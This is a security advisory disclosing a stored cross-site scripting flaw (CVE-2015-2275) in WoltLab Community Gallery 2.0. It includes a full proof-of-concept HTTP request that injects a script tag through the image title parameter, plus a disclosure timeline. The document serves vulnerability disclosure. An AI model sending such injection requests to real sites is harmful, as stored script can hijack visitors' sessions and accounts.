WoltLab Community Gallery - Persistent Cross-Site Scripting

#Vulnerability title: Community Gallery - Stored Cross-Site Scripting
vulnerability
#Product: Community Gallery
#Vendor: https://www.woltlab.com
#Affected version: Community Gallery 2.0 before 12/10/2014
#Download link:
https://www.woltlab.com/purchase/?products[]=com.woltlab.gallery
#Fixed version: Community Gallery 2.0 after 12/26/2014
#CVE ID: CVE-2015-2275
#Author: Pham Kien Cuong (cuong.k.pham (at) itas (dot) vn [email concealed]) & ITAS Team (www.itas.vn)

::PROOF OF CONCEPT::

+ REQUEST:
POST /7788bdbc/gallery/index.php/AJAXProxy/?t=7d53f8ad7553c0f885e3ccb60edbc0b6512d9eed HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://target/7788bdbc/gallery/index.php/ImageEdit/7/
Content-Length: 1300
Cookie: wcf_cookieHash=f774ed47049756db7f6f635748b497cf08b6fef3; __cfduid=dceb0da13e569549c9531d07b3d287acb1420598620
Authorization: Basic Nzc4OGJkYmM6OWM1NWE3OWM=
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

actionName=saveImageData&className=gallery%5Cdata%5Cimage%5CImageAction&objectIDs%5B%5D=7&parameters%5Bdata%5D%5B7%5D%5BalbumID%5D=1&parameters%5Bdata%5D%5B7%5D%5BcategoryIDs%5D%5B%5D=3&parameters%5Bdata%5D%5B7%5D%5Bdescription%5D=test&parameters%5Bdata%5D%5B7%5D%5BenableComments%5D=1&parameters%5Bdata%5D%5B7%5D%5Bfilename%5D=HoaMai1.jpg&parameters%5Bdata%5D%5B7%5D%5Bfilesize%5D=47948&parameters%5Bdata%5D%5B7%5D%5Bheight%5D=480&parameters%5Bdata%5D%5B7%5D%5BimageID%5D=7&parameters%5Bdata%5D%5B7%5D%5Blatitude%5D=0&parameters%5Bdata%5D%5B7%5D%5Blongitude%5D=0&parameters%5Bdata%5D%5B7%5D%5Borientation%5D=1&parameters%5Bdata%5D%5B7%5D%5Btags%5D%5B%5D=testing&parameters%5Bdata%5D%5B7%5D%5BthumbnailHeight%5D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailWidth%5D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailX%5D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailY%5D=0&parameters%5Bdata%5D%5B7%5D%5BtinyURL%5D=http%3A%2F%2Fdemo.woltlab.com%2F7788bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e-tiny.jpg&parameters%5Bdata%5D%5B7%5D%5Btitle%5D=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E&parameters%5Bdata%5D%5B7%5D%5Burl%5D=http%3A%2F%2Fdemo.woltlab.com%2F7788bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e.jpg&parameters%5Bdata%5D%5B7%5D%5Bwidth%5D=640&parameters%5Bdata%5D%5B7%5D%5Blocation%5D=&parameters%5BisEdit%5D=1

- Vulnerable parameter: parameters[data][7][title]

::DISCLOSURE::
+ 12/10/2014: Detect vulnerability
+ 12/10/2014: Send the detail vulnerability to vendor
+ 03/11/2015: Public information

::REFERENCE::
- http://www.itas.vn/news/itas-team-found-out-a-stored-xss-vulnerability-in-burning-board-community-gallery-77.html
- https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2275